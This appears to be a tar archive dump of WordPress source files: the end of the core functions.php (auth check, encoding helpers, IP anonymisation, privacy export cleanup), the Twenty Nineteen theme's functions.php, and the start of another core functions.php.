* @link https://secure.php.net/manual/en/function.checkdate.php
*
* @param int $month Month number.
* @param int $day Day number.
* @param int $year Year number.
* @param string $source_date The date to filter.
* @return bool True if valid date, false if not valid date.
*/
function wp_checkdate( $month, $day, $year, $source_date ) {
/**
* Filters whether the given date is valid for the Gregorian calendar.
*
* @since 3.5.0
*
* @param bool $checkdate Whether the given date is valid.
* @param string $source_date Date to check.
*/
return apply_filters( 'wp_checkdate', checkdate( $month, $day, $year ), $source_date );
}
/**
* Load the auth check for monitoring whether the user is still logged in.
*
* Can be disabled with remove_action( 'admin_enqueue_scripts', 'wp_auth_check_load' );
*
* This is disabled for certain screens where a login screen could cause an
* inconvenient interruption. A filter called {@see 'wp_auth_check_load'} can be used
* for fine-grained control.
*
* @since 3.6.0
*/
function wp_auth_check_load() {
if ( ! is_admin() && ! is_user_logged_in() )
return;
if ( defined( 'IFRAME_REQUEST' ) )
return;
$screen = get_current_screen();
$hidden = array( 'update', 'update-network', 'update-core', 'update-core-network', 'upgrade', 'upgrade-network', 'network' );
$show = ! in_array( $screen->id, $hidden );
/**
* Filters whether to load the authentication check.
*
* Passing a falsey value to the filter will effectively short-circuit
* loading the authentication check.
*
* @since 3.6.0
*
* @param bool $show Whether to load the authentication check.
* @param WP_Screen $screen The current screen object.
*/
if ( apply_filters( 'wp_auth_check_load', $show, $screen ) ) {
wp_enqueue_style( 'wp-auth-check' );
wp_enqueue_script( 'wp-auth-check' );
add_action( 'admin_print_footer_scripts', 'wp_auth_check_html', 5 );
add_action( 'wp_print_footer_scripts', 'wp_auth_check_html', 5 );
}
}
/**
* Output the HTML that shows the wp-login dialog when the user is no longer logged in.
*
* @since 3.6.0
*/
function wp_auth_check_html() {
$login_url = wp_login_url();
$current_domain = ( is_ssl() ? 'https://' : 'http://' ) . $_SERVER['HTTP_HOST'];
$same_domain = ( strpos( $login_url, $current_domain ) === 0 );
/**
* Filters whether the authentication check originated at the same domain.
*
* @since 3.6.0
*
* @param bool $same_domain Whether the authentication check originated at the same domain.
*/
$same_domain = apply_filters( 'wp_auth_check_same_domain', $same_domain );
$wrap_class = $same_domain ? 'hidden' : 'hidden fallback';
?>
<div id="wp-auth-check-wrap" class="<?php echo $wrap_class; ?>">
<div id="wp-auth-check-bg"></div>
<div id="wp-auth-check">
<button type="button" class="wp-auth-check-close button-link"><span class="screen-reader-text"><?php _e( 'Close dialog' ); ?></span></button>
<?php
if ( $same_domain ) {
$login_src = add_query_arg( array(
'interim-login' => '1',
'wp_lang' => get_user_locale(),
), $login_url );
?>
<div id="wp-auth-check-form" class="loading" data-src="<?php echo esc_url( $login_src ); ?>"></div>
<?php
}
?>
<div class="wp-auth-fallback">
<p><b class="wp-auth-fallback-expired" tabindex="0"><?php _e('Session expired'); ?></b></p>
<p><a href="<?php echo esc_url( $login_url ); ?>" target="_blank"><?php _e('Please log in again.'); ?></a>
<?php _e('The login page will open in a new window. After logging in you can close it and return to this page.'); ?></p>
</div>
</div>
</div>
<?php
}
/**
* Check whether a user is still logged in, for the heartbeat.
*
* Send a result that shows a log-in box if the user is no longer logged in,
* or if their cookie is within the grace period.
*
* @since 3.6.0
*
* @global int $login_grace_period
*
* @param array $response The Heartbeat response.
* @return array $response The Heartbeat response with 'wp-auth-check' value set.
*/
function wp_auth_check( $response ) {
$response['wp-auth-check'] = is_user_logged_in() && empty( $GLOBALS['login_grace_period'] );
return $response;
}
/**
* Return RegEx body to liberally match an opening HTML tag.
*
* Matches an opening HTML tag that:
* 1. Is self-closing or
* 2. Has no body but has a closing tag of the same name or
* 3. Contains a body and a closing tag of the same name
*
* Note: this RegEx does not balance inner tags and does not attempt
* to produce valid HTML
*
* @since 3.6.0
*
* @param string $tag An HTML tag name. Example: 'video'.
* @return string Tag RegEx.
*/
function get_tag_regex( $tag ) {
if ( empty( $tag ) )
return;
return sprintf( '<%1$s[^<]*(?:>[\s\S]*<\/%1$s>|\s*\/>)', tag_escape( $tag ) );
}
/**
* Retrieve a canonical form of the provided charset appropriate for passing to PHP
* functions such as htmlspecialchars() and charset html attributes.
*
* @since 3.6.0
* @access private
*
* @see https://core.trac.wordpress.org/ticket/23688
*
* @param string $charset A charset name.
* @return string The canonical form of the charset.
*/
function _canonical_charset( $charset ) {
if ( 'utf-8' === strtolower( $charset ) || 'utf8' === strtolower( $charset) ) {
return 'UTF-8';
}
if ( 'iso-8859-1' === strtolower( $charset ) || 'iso8859-1' === strtolower( $charset ) ) {
return 'ISO-8859-1';
}
return $charset;
}
/**
* Set the mbstring internal encoding to a binary safe encoding when func_overload
* is enabled.
*
* When mbstring.func_overload is in use for multi-byte encodings, the results from
* strlen() and similar functions respect the utf8 characters, causing binary data
* to return incorrect lengths.
*
* This function overrides the mbstring encoding to a binary-safe encoding, and
* resets it to the users expected encoding afterwards through the
* `reset_mbstring_encoding` function.
*
* It is safe to recursively call this function, however each
* `mbstring_binary_safe_encoding()` call must be followed up with an equal number
* of `reset_mbstring_encoding()` calls.
*
* @since 3.7.0
*
* @see reset_mbstring_encoding()
*
* @staticvar array $encodings
* @staticvar bool $overloaded
*
* @param bool $reset Optional. Whether to reset the encoding back to a previously-set encoding.
* Default false.
*/
function mbstring_binary_safe_encoding( $reset = false ) {
static $encodings = array();
static $overloaded = null;
if ( is_null( $overloaded ) )
$overloaded = function_exists( 'mb_internal_encoding' ) && ( ini_get( 'mbstring.func_overload' ) & 2 );
if ( false === $overloaded )
return;
if ( ! $reset ) {
$encoding = mb_internal_encoding();
array_push( $encodings, $encoding );
mb_internal_encoding( 'ISO-8859-1' );
}
if ( $reset && $encodings ) {
$encoding = array_pop( $encodings );
mb_internal_encoding( $encoding );
}
}
/**
* Reset the mbstring internal encoding to a users previously set encoding.
*
* @see mbstring_binary_safe_encoding()
*
* @since 3.7.0
*/
function reset_mbstring_encoding() {
mbstring_binary_safe_encoding( true );
}
/**
* Filter/validate a variable as a boolean.
*
* Alternative to `filter_var( $var, FILTER_VALIDATE_BOOLEAN )`.
*
* @since 4.0.0
*
* @param mixed $var Boolean value to validate.
* @return bool Whether the value is validated.
*/
function wp_validate_boolean( $var ) {
if ( is_bool( $var ) ) {
return $var;
}
if ( is_string( $var ) && 'false' === strtolower( $var ) ) {
return false;
}
return (bool) $var;
}
/**
* Delete a file
*
* @since 4.2.0
*
* @param string $file The path to the file to delete.
*/
function wp_delete_file( $file ) {
/**
* Filters the path of the file to delete.
*
* @since 2.1.0
*
* @param string $file Path to the file to delete.
*/
$delete = apply_filters( 'wp_delete_file', $file );
if ( ! empty( $delete ) ) {
@unlink( $delete );
}
}
/**
* Deletes a file if its path is within the given directory.
*
* @since 4.9.7
*
* @param string $file Absolute path to the file to delete.
* @param string $directory Absolute path to a directory.
* @return bool True on success, false on failure.
*/
function wp_delete_file_from_directory( $file, $directory ) {
$real_file = realpath( wp_normalize_path( $file ) );
$real_directory = realpath( wp_normalize_path( $directory ) );
if ( false === $real_file || false === $real_directory || strpos( wp_normalize_path( $real_file ), trailingslashit( wp_normalize_path( $real_directory ) ) ) !== 0 ) {
return false;
}
wp_delete_file( $file );
return true;
}
/**
* Outputs a small JS snippet on preview tabs/windows to remove `window.name` on unload.
*
* This prevents reusing the same tab for a preview when the user has navigated away.
*
* @since 4.3.0
*
* @global WP_Post $post
*/
function wp_post_preview_js() {
global $post;
if ( ! is_preview() || empty( $post ) ) {
return;
}
// Has to match the window name used in post_submit_meta_box()
$name = 'wp-preview-' . (int) $post->ID;
?>
<script>
( function() {
var query = document.location.search;
if ( query && query.indexOf( 'preview=true' ) !== -1 ) {
window.name = '<?php echo $name; ?>';
}
if ( window.addEventListener ) {
window.addEventListener( 'unload', function() { window.name = ''; }, false );
}
}());
</script>
<?php
}
/**
* Parses and formats a MySQL datetime (Y-m-d H:i:s) for ISO8601/RFC3339.
*
* Explicitly strips timezones, as datetimes are not saved with any timezone
* information. Including any information on the offset could be misleading.
*
* @since 4.4.0
*
* @param string $date_string Date string to parse and format.
* @return string Date formatted for ISO8601/RFC3339.
*/
function mysql_to_rfc3339( $date_string ) {
$formatted = mysql2date( 'c', $date_string, false );
// Strip timezone information
return preg_replace( '/(?:Z|[+-]\d{2}(?::\d{2})?)$/', '', $formatted );
}
/**
* Attempts to raise the PHP memory limit for memory intensive processes.
*
* Only allows raising the existing limit and prevents lowering it.
*
* @since 4.6.0
*
* @param string $context Optional. Context in which the function is called. Accepts either 'admin',
* 'image', or an arbitrary other context. If an arbitrary context is passed,
* the similarly arbitrary {@see '{$context}_memory_limit'} filter will be
* invoked. Default 'admin'.
* @return bool|int|string The limit that was set or false on failure.
*/
function wp_raise_memory_limit( $context = 'admin' ) {
// Exit early if the limit cannot be changed.
if ( false === wp_is_ini_value_changeable( 'memory_limit' ) ) {
return false;
}
$current_limit = @ini_get( 'memory_limit' );
$current_limit_int = wp_convert_hr_to_bytes( $current_limit );
if ( -1 === $current_limit_int ) {
return false;
}
$wp_max_limit = WP_MAX_MEMORY_LIMIT;
$wp_max_limit_int = wp_convert_hr_to_bytes( $wp_max_limit );
$filtered_limit = $wp_max_limit;
switch ( $context ) {
case 'admin':
/**
* Filters the maximum memory limit available for administration screens.
*
* This only applies to administrators, who may require more memory for tasks
* like updates. Memory limits when processing images (uploaded or edited by
* users of any role) are handled separately.
*
* The `WP_MAX_MEMORY_LIMIT` constant specifically defines the maximum memory
* limit available when in the administration back end. The default is 256M
* (256 megabytes of memory) or the original `memory_limit` php.ini value if
* this is higher.
*
* @since 3.0.0
* @since 4.6.0 The default now takes the original `memory_limit` into account.
*
* @param int|string $filtered_limit The maximum WordPress memory limit. Accepts an integer
* (bytes), or a shorthand string notation, such as '256M'.
*/
$filtered_limit = apply_filters( 'admin_memory_limit', $filtered_limit );
break;
case 'image':
/**
* Filters the memory limit allocated for image manipulation.
*
* @since 3.5.0
* @since 4.6.0 The default now takes the original `memory_limit` into account.
*
* @param int|string $filtered_limit Maximum memory limit to allocate for images.
* Default `WP_MAX_MEMORY_LIMIT` or the original
* php.ini `memory_limit`, whichever is higher.
* Accepts an integer (bytes), or a shorthand string
* notation, such as '256M'.
*/
$filtered_limit = apply_filters( 'image_memory_limit', $filtered_limit );
break;
default:
/**
* Filters the memory limit allocated for arbitrary contexts.
*
* The dynamic portion of the hook name, `$context`, refers to an arbitrary
* context passed on calling the function. This allows for plugins to define
* their own contexts for raising the memory limit.
*
* @since 4.6.0
*
* @param int|string $filtered_limit Maximum memory limit to allocate for images.
* Default '256M' or the original php.ini `memory_limit`,
* whichever is higher. Accepts an integer (bytes), or a
* shorthand string notation, such as '256M'.
*/
$filtered_limit = apply_filters( "{$context}_memory_limit", $filtered_limit );
break;
}
$filtered_limit_int = wp_convert_hr_to_bytes( $filtered_limit );
if ( -1 === $filtered_limit_int || ( $filtered_limit_int > $wp_max_limit_int && $filtered_limit_int > $current_limit_int ) ) {
if ( false !== @ini_set( 'memory_limit', $filtered_limit ) ) {
return $filtered_limit;
} else {
return false;
}
} elseif ( -1 === $wp_max_limit_int || $wp_max_limit_int > $current_limit_int ) {
if ( false !== @ini_set( 'memory_limit', $wp_max_limit ) ) {
return $wp_max_limit;
} else {
return false;
}
}
return false;
}
/**
* Generate a random UUID (version 4).
*
* @since 4.7.0
*
* @return string UUID.
*/
function wp_generate_uuid4() {
return sprintf( '%04x%04x-%04x-%04x-%04x-%04x%04x%04x',
mt_rand( 0, 0xffff ), mt_rand( 0, 0xffff ),
mt_rand( 0, 0xffff ),
mt_rand( 0, 0x0fff ) | 0x4000,
mt_rand( 0, 0x3fff ) | 0x8000,
mt_rand( 0, 0xffff ), mt_rand( 0, 0xffff ), mt_rand( 0, 0xffff )
);
}
/**
* Validates that a UUID is valid.
*
* @since 4.9.0
*
* @param mixed $uuid UUID to check.
* @param int $version Specify which version of UUID to check against. Default is none, to accept any UUID version. Otherwise, only version allowed is `4`.
* @return bool The string is a valid UUID or false on failure.
*/
function wp_is_uuid( $uuid, $version = null ) {
if ( ! is_string( $uuid ) ) {
return false;
}
if ( is_numeric( $version ) ) {
if ( 4 !== (int) $version ) {
_doing_it_wrong( __FUNCTION__, __( 'Only UUID V4 is supported at this time.' ), '4.9.0' );
return false;
}
$regex = '/^[0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/';
} else {
$regex = '/^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/';
}
return (bool) preg_match( $regex, $uuid );
}
/**
* Get last changed date for the specified cache group.
*
* @since 4.7.0
*
* @param string $group Where the cache contents are grouped.
*
* @return string $last_changed UNIX timestamp with microseconds representing when the group was last changed.
*/
function wp_cache_get_last_changed( $group ) {
$last_changed = wp_cache_get( 'last_changed', $group );
if ( ! $last_changed ) {
$last_changed = microtime();
wp_cache_set( 'last_changed', $last_changed, $group );
}
return $last_changed;
}
/**
* Send an email to the old site admin email address when the site admin email address changes.
*
* @since 4.9.0
*
* @param string $old_email The old site admin email address.
* @param string $new_email The new site admin email address.
* @param string $option_name The relevant database option name.
*/
function wp_site_admin_email_change_notification( $old_email, $new_email, $option_name ) {
$send = true;
// Don't send the notification to the default 'admin_email' value.
if ( 'you@example.com' === $old_email ) {
$send = false;
}
/**
* Filters whether to send the site admin email change notification email.
*
* @since 4.9.0
*
* @param bool $send Whether to send the email notification.
* @param string $old_email The old site admin email address.
* @param string $new_email The new site admin email address.
*/
$send = apply_filters( 'send_site_admin_email_change_email', $send, $old_email, $new_email );
if ( ! $send ) {
return;
}
/* translators: Do not translate OLD_EMAIL, NEW_EMAIL, SITENAME, SITEURL: those are placeholders. */
$email_change_text = __( 'Hi,
This notice confirms that the admin email address was changed on ###SITENAME###.
The new admin email address is ###NEW_EMAIL###.
This email has been sent to ###OLD_EMAIL###
Regards,
All at ###SITENAME###
###SITEURL###' );
$email_change_email = array(
'to' => $old_email,
/* translators: Site admin email change notification email subject. %s: Site title */
'subject' => __( '[%s] Notice of Admin Email Change' ),
'message' => $email_change_text,
'headers' => '',
);
// get site name
$site_name = wp_specialchars_decode( get_option( 'blogname' ), ENT_QUOTES );
/**
* Filters the contents of the email notification sent when the site admin email address is changed.
*
* @since 4.9.0
*
* @param array $email_change_email {
* Used to build wp_mail().
*
* @type string $to The intended recipient.
* @type string $subject The subject of the email.
* @type string $message The content of the email.
* The following strings have a special meaning and will get replaced dynamically:
* - ###OLD_EMAIL### The old site admin email address.
* - ###NEW_EMAIL### The new site admin email address.
* - ###SITENAME### The name of the site.
* - ###SITEURL### The URL to the site.
* @type string $headers Headers.
* }
* @param string $old_email The old site admin email address.
* @param string $new_email The new site admin email address.
*/
$email_change_email = apply_filters( 'site_admin_email_change_email', $email_change_email, $old_email, $new_email );
$email_change_email['message'] = str_replace( '###OLD_EMAIL###', $old_email, $email_change_email['message'] );
$email_change_email['message'] = str_replace( '###NEW_EMAIL###', $new_email, $email_change_email['message'] );
$email_change_email['message'] = str_replace( '###SITENAME###', $site_name, $email_change_email['message'] );
$email_change_email['message'] = str_replace( '###SITEURL###', home_url(), $email_change_email['message'] );
wp_mail( $email_change_email['to'], sprintf(
$email_change_email['subject'],
$site_name
), $email_change_email['message'], $email_change_email['headers'] );
}
/**
* Return an anonymized IPv4 or IPv6 address.
*
* @since 4.9.6 Abstracted from `WP_Community_Events::get_unsafe_client_ip()`.
*
* @param string $ip_addr The IPv4 or IPv6 address to be anonymized.
* @param bool $ipv6_fallback Optional. Whether to return the original IPv6 address if the needed functions
* to anonymize it are not present. Default false, return `::` (unspecified address).
* @return string The anonymized IP address.
*/
function wp_privacy_anonymize_ip( $ip_addr, $ipv6_fallback = false ) {
// Detect what kind of IP address this is.
$ip_prefix = '';
$is_ipv6 = substr_count( $ip_addr, ':' ) > 1;
$is_ipv4 = ( 3 === substr_count( $ip_addr, '.' ) );
if ( $is_ipv6 && $is_ipv4 ) {
// IPv6 compatibility mode, temporarily strip the IPv6 part, and treat it like IPv4.
$ip_prefix = '::ffff:';
$ip_addr = preg_replace( '/^\[?[0-9a-f:]*:/i', '', $ip_addr );
$ip_addr = str_replace( ']', '', $ip_addr );
$is_ipv6 = false;
}
if ( $is_ipv6 ) {
// IPv6 addresses will always be enclosed in [] if there's a port.
$left_bracket = strpos( $ip_addr, '[' );
$right_bracket = strpos( $ip_addr, ']' );
$percent = strpos( $ip_addr, '%' );
$netmask = 'ffff:ffff:ffff:ffff:0000:0000:0000:0000';
// Strip the port (and [] from IPv6 addresses), if they exist.
if ( false !== $left_bracket && false !== $right_bracket ) {
$ip_addr = substr( $ip_addr, $left_bracket + 1, $right_bracket - $left_bracket - 1 );
} elseif ( false !== $left_bracket || false !== $right_bracket ) {
// The IP has one bracket, but not both, so it's malformed.
return '::';
}
// Strip the reachability scope.
if ( false !== $percent ) {
$ip_addr = substr( $ip_addr, 0, $percent );
}
// No invalid characters should be left.
if ( preg_match( '/[^0-9a-f:]/i', $ip_addr ) ) {
return '::';
}
// Partially anonymize the IP by reducing it to the corresponding network ID.
if ( function_exists( 'inet_pton' ) && function_exists( 'inet_ntop' ) ) {
$ip_addr = inet_ntop( inet_pton( $ip_addr ) & inet_pton( $netmask ) );
if ( false === $ip_addr) {
return '::';
}
} elseif ( ! $ipv6_fallback ) {
return '::';
}
} elseif ( $is_ipv4 ) {
// Strip any port and partially anonymize the IP.
$last_octet_position = strrpos( $ip_addr, '.' );
$ip_addr = substr( $ip_addr, 0, $last_octet_position ) . '.0';
} else {
return '0.0.0.0';
}
// Restore the IPv6 prefix to compatibility mode addresses.
return $ip_prefix . $ip_addr;
}
/**
* Return uniform "anonymous" data by type.
*
* @since 4.9.6
*
* @param string $type The type of data to be anonymized.
* @param string $data Optional The data to be anonymized.
* @return string The anonymous data for the requested type.
*/
function wp_privacy_anonymize_data( $type, $data = '' ) {
switch ( $type ) {
case 'email':
$anonymous = 'deleted@site.invalid';
break;
case 'url':
$anonymous = 'https://site.invalid';
break;
case 'ip':
$anonymous = wp_privacy_anonymize_ip( $data );
break;
case 'date':
$anonymous = '0000-00-00 00:00:00';
break;
case 'text':
/* translators: deleted text */
$anonymous = __( '[deleted]' );
break;
case 'longtext':
/* translators: deleted long text */
$anonymous = __( 'This content was deleted by the author.' );
break;
default:
$anonymous = '';
}
/**
* Filters the anonymous data for each type.
*
* @since 4.9.6
*
* @param string $anonymous Anonymized data.
* @param string $type Type of the data.
* @param string $data Original data.
*/
return apply_filters( 'wp_privacy_anonymize_data', $anonymous, $type, $data );
}
/**
* Returns the directory used to store personal data export files.
*
* @since 4.9.6
*
* @see wp_privacy_exports_url
*
* @return string Exports directory.
*/
function wp_privacy_exports_dir() {
$upload_dir = wp_upload_dir();
$exports_dir = trailingslashit( $upload_dir['basedir'] ) . 'wp-personal-data-exports/';
/**
* Filters the directory used to store personal data export files.
*
* @since 4.9.6
*
* @param string $exports_dir Exports directory.
*/
return apply_filters( 'wp_privacy_exports_dir', $exports_dir );
}
/**
* Returns the URL of the directory used to store personal data export files.
*
* @since 4.9.6
*
* @see wp_privacy_exports_dir
*
* @return string Exports directory URL.
*/
function wp_privacy_exports_url() {
$upload_dir = wp_upload_dir();
$exports_url = trailingslashit( $upload_dir['baseurl'] ) . 'wp-personal-data-exports/';
/**
* Filters the URL of the directory used to store personal data export files.
*
* @since 4.9.6
*
* @param string $exports_url Exports directory URL.
*/
return apply_filters( 'wp_privacy_exports_url', $exports_url );
}
/**
* Schedule a `WP_Cron` job to delete expired export files.
*
* @since 4.9.6
*/
function wp_schedule_delete_old_privacy_export_files() {
if ( wp_installing() ) {
return;
}
if ( ! wp_next_scheduled( 'wp_privacy_delete_old_export_files' ) ) {
wp_schedule_event( time(), 'hourly', 'wp_privacy_delete_old_export_files' );
}
}
/**
* Cleans up export files older than three days old.
*
* The export files are stored in `wp-content/uploads`, and are therefore publicly
* accessible. A CSPRN is appended to the filename to mitigate the risk of an
* unauthorized person downloading the file, but it is still possible. Deleting
* the file after the data subject has had a chance to delete it adds an additional
* layer of protection.
*
* @since 4.9.6
*/
function wp_privacy_delete_old_export_files() {
require_once( ABSPATH . 'wp-admin/includes/file.php' );
$exports_dir = wp_privacy_exports_dir();
$export_files = list_files( $exports_dir, 100, array( 'index.html' ) );
/**
* Filters the lifetime, in seconds, of a personal data export file.
*
* By default, the lifetime is 3 days. Once the file reaches that age, it will automatically
* be deleted by a cron job.
*
* @since 4.9.6
*
* @param int $expiration The expiration age of the export, in seconds.
*/
$expiration = apply_filters( 'wp_privacy_export_expiration', 3 * DAY_IN_SECONDS );
foreach ( (array) $export_files as $export_file ) {
$file_age_in_seconds = time() - filemtime( $export_file );
if ( $expiration < $file_age_in_seconds ) {
unlink( $export_file );
}
}
}
home/xbodynamge/dev/wp-content/themes/twentynineteen/functions.php 0000604 00000023463 15112404670 0021577 0 ustar 00 <?php
/**
* Twenty Nineteen functions and definitions
*
* @link https://developer.wordpress.org/themes/basics/theme-functions/
*
* @package WordPress
* @subpackage Twenty_Nineteen
* @since 1.0.0
*/
/**
* Twenty Nineteen only works in WordPress 4.7 or later.
*/
if ( version_compare( $GLOBALS['wp_version'], '4.7', '<' ) ) {
require get_template_directory() . '/inc/back-compat.php';
return;
}
if ( ! function_exists( 'twentynineteen_setup' ) ) :
/**
* Sets up theme defaults and registers support for various WordPress features.
*
* Note that this function is hooked into the after_setup_theme hook, which
* runs before the init hook. The init hook is too late for some features, such
* as indicating support for post thumbnails.
*/
function twentynineteen_setup() {
/*
* Make theme available for translation.
* Translations can be filed in the /languages/ directory.
* If you're building a theme based on Twenty Nineteen, use a find and replace
* to change 'twentynineteen' to the name of your theme in all the template files.
*/
load_theme_textdomain( 'twentynineteen', get_template_directory() . '/languages' );
// Add default posts and comments RSS feed links to head.
add_theme_support( 'automatic-feed-links' );
/*
* Let WordPress manage the document title.
* By adding theme support, we declare that this theme does not use a
* hard-coded <title> tag in the document head, and expect WordPress to
* provide it for us.
*/
add_theme_support( 'title-tag' );
/*
* Enable support for Post Thumbnails on posts and pages.
*
* @link https://developer.wordpress.org/themes/functionality/featured-images-post-thumbnails/
*/
add_theme_support( 'post-thumbnails' );
set_post_thumbnail_size( 1568, 9999 );
// This theme uses wp_nav_menu() in two locations.
register_nav_menus(
array(
'menu-1' => __( 'Primary', 'twentynineteen' ),
'footer' => __( 'Footer Menu', 'twentynineteen' ),
'social' => __( 'Social Links Menu', 'twentynineteen' ),
)
);
/*
* Switch default core markup for search form, comment form, and comments
* to output valid HTML5.
*/
add_theme_support(
'html5',
array(
'search-form',
'comment-form',
'comment-list',
'gallery',
'caption',
)
);
/**
* Add support for core custom logo.
*
* @link https://codex.wordpress.org/Theme_Logo
*/
add_theme_support(
'custom-logo',
array(
'height' => 190,
'width' => 190,
'flex-width' => false,
'flex-height' => false,
)
);
// Add theme support for selective refresh for widgets.
add_theme_support( 'customize-selective-refresh-widgets' );
// Add support for Block Styles.
add_theme_support( 'wp-block-styles' );
// Add support for full and wide align images.
add_theme_support( 'align-wide' );
// Add support for editor styles.
add_theme_support( 'editor-styles' );
// Enqueue editor styles.
add_editor_style( 'style-editor.css' );
// Add custom editor font sizes.
add_theme_support(
'editor-font-sizes',
array(
array(
'name' => __( 'Small', 'twentynineteen' ),
'shortName' => __( 'S', 'twentynineteen' ),
'size' => 19.5,
'slug' => 'small',
),
array(
'name' => __( 'Normal', 'twentynineteen' ),
'shortName' => __( 'M', 'twentynineteen' ),
'size' => 22,
'slug' => 'normal',
),
array(
'name' => __( 'Large', 'twentynineteen' ),
'shortName' => __( 'L', 'twentynineteen' ),
'size' => 36.5,
'slug' => 'large',
),
array(
'name' => __( 'Huge', 'twentynineteen' ),
'shortName' => __( 'XL', 'twentynineteen' ),
'size' => 49.5,
'slug' => 'huge',
),
)
);
// Editor color palette.
add_theme_support(
'editor-color-palette',
array(
array(
'name' => __( 'Primary', 'twentynineteen' ),
'slug' => 'primary',
'color' => twentynineteen_hsl_hex( 'default' === get_theme_mod( 'primary_color' ) ? 199 : get_theme_mod( 'primary_color_hue', 199 ), 100, 33 ),
),
array(
'name' => __( 'Secondary', 'twentynineteen' ),
'slug' => 'secondary',
'color' => twentynineteen_hsl_hex( 'default' === get_theme_mod( 'primary_color' ) ? 199 : get_theme_mod( 'primary_color_hue', 199 ), 100, 23 ),
),
array(
'name' => __( 'Dark Gray', 'twentynineteen' ),
'slug' => 'dark-gray',
'color' => '#111',
),
array(
'name' => __( 'Light Gray', 'twentynineteen' ),
'slug' => 'light-gray',
'color' => '#767676',
),
array(
'name' => __( 'White', 'twentynineteen' ),
'slug' => 'white',
'color' => '#FFF',
),
)
);
// Add support for responsive embedded content.
add_theme_support( 'responsive-embeds' );
}
endif;
add_action( 'after_setup_theme', 'twentynineteen_setup' );
/**
* Register widget area.
*
* @link https://developer.wordpress.org/themes/functionality/sidebars/#registering-a-sidebar
*/
function twentynineteen_widgets_init() {
register_sidebar(
array(
'name' => __( 'Footer', 'twentynineteen' ),
'id' => 'sidebar-1',
'description' => __( 'Add widgets here to appear in your footer.', 'twentynineteen' ),
'before_widget' => '<section id="%1$s" class="widget %2$s">',
'after_widget' => '</section>',
'before_title' => '<h2 class="widget-title">',
'after_title' => '</h2>',
)
);
}
add_action( 'widgets_init', 'twentynineteen_widgets_init' );
/**
* Set the content width in pixels, based on the theme's design and stylesheet.
*
* Priority 0 to make it available to lower priority callbacks.
*
* @global int $content_width Content width.
*/
function twentynineteen_content_width() {
// This variable is intended to be overruled from themes.
// Open WPCS issue: {@link https://github.com/WordPress-Coding-Standards/WordPress-Coding-Standards/issues/1043}.
// phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedVariableFound
$GLOBALS['content_width'] = apply_filters( 'twentynineteen_content_width', 640 );
}
add_action( 'after_setup_theme', 'twentynineteen_content_width', 0 );
/**
* Enqueue scripts and styles.
*/
function twentynineteen_scripts() {
wp_enqueue_style( 'twentynineteen-style', get_stylesheet_uri(), array(), wp_get_theme()->get( 'Version' ) );
wp_style_add_data( 'twentynineteen-style', 'rtl', 'replace' );
if ( has_nav_menu( 'menu-1' ) ) {
wp_enqueue_script( 'twentynineteen-priority-menu', get_theme_file_uri( '/js/priority-menu.js' ), array(), '1.0', true );
wp_enqueue_script( 'twentynineteen-touch-navigation', get_theme_file_uri( '/js/touch-keyboard-navigation.js' ), array(), '1.0', true );
}
wp_enqueue_style( 'twentynineteen-print-style', get_template_directory_uri() . '/print.css', array(), wp_get_theme()->get( 'Version' ), 'print' );
if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
wp_enqueue_script( 'comment-reply' );
}
}
add_action( 'wp_enqueue_scripts', 'twentynineteen_scripts' );
/**
* Fix skip link focus in IE11.
*
* This does not enqueue the script because it is tiny and because it is only for IE11,
* thus it does not warrant having an entire dedicated blocking script being loaded.
*
* @link https://git.io/vWdr2
*/
function twentynineteen_skip_link_focus_fix() {
// The following is minified via `terser --compress --mangle -- js/skip-link-focus-fix.js`.
?>
<script>
/(trident|msie)/i.test(navigator.userAgent)&&document.getElementById&&window.addEventListener&&window.addEventListener("hashchange",function(){var t,e=location.hash.substring(1);/^[A-z0-9_-]+$/.test(e)&&(t=document.getElementById(e))&&(/^(?:a|select|input|button|textarea)$/i.test(t.tagName)||(t.tabIndex=-1),t.focus())},!1);
</script>
<?php
}
add_action( 'wp_print_footer_scripts', 'twentynineteen_skip_link_focus_fix' );
/**
* Enqueue supplemental block editor styles.
*/
function twentynineteen_editor_customizer_styles() {
wp_enqueue_style( 'twentynineteen-editor-customizer-styles', get_theme_file_uri( '/style-editor-customizer.css' ), false, '1.0', 'all' );
if ( 'custom' === get_theme_mod( 'primary_color' ) ) {
// Include color patterns.
require_once get_parent_theme_file_path( '/inc/color-patterns.php' );
wp_add_inline_style( 'twentynineteen-editor-customizer-styles', twentynineteen_custom_colors_css() );
}
}
add_action( 'enqueue_block_editor_assets', 'twentynineteen_editor_customizer_styles' );
/**
* Display custom color CSS in customizer and on frontend.
*/
function twentynineteen_colors_css_wrap() {
// Only include custom colors in customizer or frontend.
if ( ( ! is_customize_preview() && 'default' === get_theme_mod( 'primary_color', 'default' ) ) || is_admin() ) {
return;
}
require_once get_parent_theme_file_path( '/inc/color-patterns.php' );
$primary_color = 199;
if ( 'default' !== get_theme_mod( 'primary_color', 'default' ) ) {
$primary_color = get_theme_mod( 'primary_color_hue', 199 );
}
?>
<style type="text/css" id="custom-theme-colors" <?php echo is_customize_preview() ? 'data-hue="' . absint( $primary_color ) . '"' : ''; ?>>
<?php echo twentynineteen_custom_colors_css(); ?>
</style>
<?php
}
add_action( 'wp_head', 'twentynineteen_colors_css_wrap' );
/**
* SVG Icons class.
*/
require get_template_directory() . '/classes/class-twentynineteen-svg-icons.php';
/**
* Custom Comment Walker template.
*/
require get_template_directory() . '/classes/class-twentynineteen-walker-comment.php';
/**
* Enhance the theme by hooking into WordPress.
*/
require get_template_directory() . '/inc/template-functions.php';
/**
* SVG Icons related functions.
*/
require get_template_directory() . '/inc/icon-functions.php';
/**
* Custom template tags for the theme.
*/
require get_template_directory() . '/inc/template-tags.php';
/**
* Customizer additions.
*/
require get_template_directory() . '/inc/customizer.php';
home/xbodynamge/lebauwcentre/wp-includes/functions.php 0000644 00000655467 15112513113 0017304 0 ustar 00 <?php
/**
* Main WordPress API
*
* @package WordPress
*/
require( ABSPATH . WPINC . '/option.php' );
/**
* Convert given date string into a different format.
*
* $format should be either a PHP date format string, e.g. 'U' for a Unix
* timestamp, or 'G' for a Unix timestamp assuming that $date is GMT.
*
* If $translate is true then the given date and format string will
* be passed to date_i18n() for translation.
*
* @since 0.71
*
* @param string $format Format of the date to return.
* @param string $date Date string to convert.
